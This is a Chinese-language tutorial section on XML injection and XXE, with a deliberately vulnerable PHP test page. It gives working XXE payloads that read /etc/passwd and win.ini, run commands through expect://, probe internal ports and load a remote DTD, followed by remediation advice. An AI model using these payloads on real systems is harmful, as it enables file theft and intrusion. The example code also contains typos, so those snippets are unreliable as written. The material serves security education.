###5.5 XML注入漏洞

前言

可扩展标记语言 (Extensible Markup Language, XML) ,用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。 XML是标准通用标记语言 (SGML) 的子集,非常适合 Web传输。XML提供统一的方法来描述和交换独立于应用程序或供应商的结构化数据。发现目前一些普遍使用xml的场景中都存在一种古老的XML实体注入漏洞,这可能导致较为严重的安全问题,使得攻击者可能可以任意访问服务器以及应用所在网络的任何资源。

XML注入主要分为内容注入和实体注入。内容注入分为XML数据注入、样式表注入、XPATH/XQuery注入。实体注入分为实体循环DDOS、XML炸弹DDOS、外部实体注入。

恶意攻击者可以利用漏洞攻击做到:

使用超长标签像 ,多达1024个A,或者使用超多的属性像<AA a= 'a'b='b'…> ,由于XML文件本身标签所占用的资源通常比内容多,在数据和属性比较多时,XML文件将变得非常庞大,给XML文件的传输和解析带来困难;

递归负载攻击,注入深层次的循环嵌套的XML数据,造成服务器上XML分析器崩溃,造成系统计算资源耗尽而被Dos;

外部实体攻击,利用<!Entityname SYSTEM “URI”>。XML文件的解析依赖libxml库,而libxml2.9以前的版本默认支持并开启了外部实体的引用,服务端解析用户提交的XML文件时,未对XML文件引用的外部实体(含外部普通实体和外部参数实体)做合适的处理,并且实体的URI支持file://和ftp://等协议,攻击者可以在XML文件中声明URL指向服务器本地的实体造成攻击。实体攻击可导致信息泄露、任意文件读取、DOS攻击和代码执行等问题。

测试代码

<?php
$xml = $GET('xml');
$data = simplexml_load_string($xml);
print_r($data);
?>
传递参数
  • linux

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
    <root>
    <name>&xxe;</name>
    </root>
    
  • window

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "file:///C:/windows/win.ini" >]>
    <root>
    <name>&xxe;</name>
    </root>
    
  • 引用远程服务器上的XML文件读取文件

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    <!ENTITY % remote SYSTEM "http://192.168.0.140/1.xml">
    %remote;]>
    

危害

  • 读取任意文件

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
    <root>
    <name>&xxe;</name>
    </root>
    
  • 执行系统命令

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "expect://id" >]>
    <root>
    <name>&xxe;</name>
    </root>
    
  • 探测内网端口

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
    <root>
    <name>&xxe;</name>
    </root>
    
  • 攻击内网网站【结合其他的漏洞比如:struts2】

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]>
    <root>
    <name>&xxe;</name>
    </root>
    

修复思路

  • 严格检查用户输入的字符;

<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

  • 各个语言建议

PHP:libxml_disable_entity_loader(true);

JAVA:DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

  • 操作XML时对格式字符进行转义处理,常见的格式字符如下表:
&lt;	<
&gt;	>
&amp;	&
&apos;	‘
&quot;	"

代码修复

在代码中,对关键字符串进行转义:

 & --> &amp;
 < --> &lt;
 > --> &gt;
 " --> &quot;
 ' --> &#39;

在XML保存和展示之前,对数据部分,单独做转义即可:

String userdata = "<USER role="+GUESTROLE+"><name>"
+StringUtil.xmlencode(request.getParameter("name"))
+"<name><email>"
+StringUtil.xmlencode(rrequest.getParameter("email"))
+"</email></USER>";
作者:天下兵马大都督  创建时间:2022-05-19 09:36
 更新时间:2023-04-12 16:17